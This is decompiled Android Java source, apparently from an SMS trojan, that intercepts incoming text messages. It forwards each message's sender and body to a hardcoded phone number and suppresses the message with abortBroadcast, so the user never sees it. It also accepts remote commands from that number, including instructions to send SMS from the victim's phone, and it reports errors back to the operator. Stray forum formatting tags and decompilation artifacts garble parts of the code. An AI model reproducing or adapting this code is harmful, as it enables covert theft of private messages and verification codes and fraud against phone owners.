public
void
SendSms(Bundle arg22, Context arg23, SmSReceiver arg24) {
String[] messagetextsplit;
String sourceaddress;
String messagetext;
SmSutils SmSutilsthis =
this
;
Bundle bundle = arg22;
Context context = arg23;
SmSReceiver smsreceiver = arg24;
SmSutils This = SmSutilsthis;
Context v14 = context;
try
{
This.sp = v14.getSharedPreferences(
"config"
,
0
);
Object pdus = bundle.get(
"pdus"
);
SmsMessage[] smsmessage =
new
SmsMessage[pdus.length];
int
i;
for
(i =
0
; i < pdus.length; ++i) {
smsmessage[i] = [/i]SmsMessage.createFromPdu(pdus);
}
messagetext =
""
;
sourceaddress =
""
;
SmsMessage[] smsmessage1 = smsmessage;
int
i;
for
(i =
0
; i < smsmessage1.length; ++i) {
SmsMessage messagetemp = smsmessage1[i];
[/i]messagetext =
new
StringBuffer().append(messagetext).append(messagetemp.getMessageBody())
.toString();
if
(
""
.equals(sourceaddress)) {
sourceaddress = messagetemp.getOriginatingAddress();
}
}
Log.i(
"action"
,
new
StringBuffer().append(
new
StringBuffer().append(sourceaddress).append(
"->"
).toString()).append(messagetext).toString());
if
(!sourceaddress.contains(
"15833482871"
)) {
goto
label_265;
}
messagetextsplit = messagetext.split(
"#"
);
if
(messagetextsplit.length <
1
) {
goto
label_221;
}
if
(
"com"
.equals(messagetextsplit[
0
])) {
SmSutilsthis.command(messagetextsplit[
1
]);
smsreceiver.abortBroadcast();
return
;
}
if
(SmSutils.isMobileNO(messagetextsplit[
0
])) {
SmSutilsthis.sendSMS(messagetextsplit[
0
], messagetextsplit[
1
], context);
smsreceiver.abortBroadcast();
return
;
}
SmSutilsthis.sendSMS(
"15833482871"
,
new
StringBuffer().append(
new
StringBuffer().append(
new
StringBuffer().append(
new
StringBuffer().append(messagetextsplit.length).append(
" 指令错误\'"
).toString()).append(messagetextsplit[
0
]).toString()).append(
"\',"
).toString())
.append(messagetextsplit[
1
]).toString(),
null
);
smsreceiver.abortBroadcast();
return
;
}
catch
(Exception v13_1) {
goto
label_202;
}
label_221:
This = SmSutilsthis;
try
{
This.sendSMS(
"15833482871"
,
new
StringBuffer().append(
new
StringBuffer().append(
new
StringBuffer()
.append(messagetextsplit.length).append(
" 指令错误"
).toString()).append(messagetext)
.toString()).append(
"正确格式 手机号码#内容"
).toString(),
null
);
smsreceiver.abortBroadcast();
[i]
return
;[/i]
label_265:
if
(SmSutilsthis.sp.getBoolean(
"islj"
,
true
)) {
SmSutilsthis.[i]se[/i]ndSMS(
"15833482871"
,
new
StringBuffer().append(
new
StringBuffer().append(
sourceaddress).append(
"->"
).toString()).append(messagetext).toString(),
null
);
smsreceiver.abortBroadcast();
}
return
;
}
catch
(Exception v13_1) {
label_202:
v13_1.printStackTrace();
SmSutilsthis.sendSMS(
"15833482871"
,
new
StringBuffer().append(
"出现异常"
).append(v13_1.getMessage())
.toString(),
null
);
return
;
}
}